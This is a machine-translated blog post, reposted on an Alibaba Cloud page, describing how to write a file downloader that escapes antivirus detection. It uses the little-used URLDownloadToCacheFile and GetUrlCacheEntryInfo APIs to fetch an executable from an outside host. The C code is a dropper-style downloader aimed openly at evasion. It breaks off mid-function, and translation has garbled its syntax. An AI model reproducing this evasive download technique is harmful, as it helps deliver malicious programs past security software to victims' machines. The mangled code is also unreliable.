Download Method for few users

Source: Internet
Author: User

Today, I checked the urlmon. h file and saw several other download functions. I thought if I wrote the UrlDownloadToFile function that is not commonly used by others, would it be kill-free?
Start to look up the URLDownloadToCacheFile function (msdn: http://msdn.microsoft.com/library/default.asp? Url =/workshop/net... /functions/urldownloadtocachefile. asp). The literal meaning is to download the file to the cache file. You can find the usage method on msdn. After executing a download, find the file and download it to the cache folder of ie. later find the path to get ie cache folder, and google for a few minutes, finally found a suitable api: GetUrlCacheEntryInfo (msdn: http://msdn2.microsoft.com/en-us/library/aa384185.aspx)

The following code is available:

  ]

# Include <urlmon. h>
# Include <Wininet. h>
# Include <stdio. h>
# Pragma comment (lib, "urlmon. lib ")
# Pragma comment (lib, "Wininet. lib ")

# Pragma comment (linker, "/OPT: NOWIN98 ")
# Pragma comment (linker, "/merge:. rdata =. text ")

# Define szUrl "http://www.spr1t3.com/hello.exe"

Void main (int argc, char ** argv)
{
URLDownloadToCacheFile (NULL, szUrl, "c: \ 1.exe", 50, 0, NULL );

DWORD dwEntrySize = 0;
LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry;

Char strTemp [255];

If (! GetUrlCacheEntryInfo (szUrl, NULL, & dwEntrySize ))
{
If (GetLastError ()! = ERROR_INSUFFICIENT_BUFFER)
{
Return;
}
Else

<

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.